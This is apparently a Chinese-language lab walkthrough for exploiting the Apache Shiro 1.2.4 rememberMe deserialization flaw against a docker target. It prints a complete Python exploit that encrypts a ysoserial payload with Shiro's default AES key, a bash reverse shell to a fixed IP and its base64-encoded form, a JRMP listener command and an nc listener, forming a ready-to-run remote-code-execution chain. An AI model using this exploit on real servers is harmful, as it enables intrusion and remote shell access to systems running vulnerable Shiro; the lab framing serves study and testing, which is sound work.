Apache Shiro <= 1.2.4
攻击机: Windows或者Linux (我用的是windows10 1903)、ysoserial-0.0.6-SNAPSHOT-all.jar、python环境、Java环境
**靶机:**带docker的Linux就行
获取docker镜像
docker pull medicean/vulapps:s_shiro_1
重启docker
systemctl restart docker
启动docker镜像:
docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
先制作exp
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command): #ysoserial-0.0.6-SNAPSHOT-all.jar #文件需要在该文件目录
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__== '__main__':
payload = encode_rememberme(sys.argv[1])
print ("rememberMe={0}".format(payload.decode()))
使用此exp生成payload
python .\PopX.py 192.168.136.1:3888
执行时可能遇见无Crypto这个插件的报错
更改pip源:直接在user目录中创建一个pip目录,如:C:\Users\xx\pip,新建文件pip.ini文件
文件内容
[global]
index-url = https://pypi.tuna.tsinghua.edu.cn/simple
[install]
trusted-host=pypi.tuna.tsinghua.edu.cn
但是下载Crypto时会报错,可以直接下载pycryptodom
pycrypto、pycrytodome和crypto是一个东西,crypto在python上面的名字是pycrypto,它是一个第三方库,但是已经停止更新三年了,所以不建议安装这个库; 这个时候pycryptodome就来了,它是pycrypto的延伸版本,用法和pycrypto是一模一样的
pip3 install pycryptodome
成功安装后就可以执行EXP了
接下来制作反弹 shell 代码
弹shell命令
bash -i >& /dev/tcp/192.168.136.1/8888 0>&1
使用http://www.jackson-t.ca/runtime-exec-payloads.html 进行编码 跳转
编码后如下
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNi4xLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}
然后进行 Java 反序列化绕过 base64 编码 powershell执行
再使用 `ysoserial` 中 JRMP 监听模块,监听 3888 端口 ` 注意这里的端口是刚才生成 rememberMe 值的端口 `。再加上生成的 base64 编码。
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 3888 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNi4xLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}'
可以写成CommonsCollections4或者CommonsCollections2
使用nc监听端口
nc -lvvp 8888
命令执行
抓取登录时的数据包,注意抓取的时候点上 remember me
抓取登录后的第二个GET包,将JSESSIONID删除掉。
出现这个为成功
查看ysoserial的监听端口
查看NC的监听的端口
执行命令
攻击成功
参考链接:
https://blog.csdn.net/u011975363/article/details/102391669
https://www.chainnews.com/articles/653693771328.htm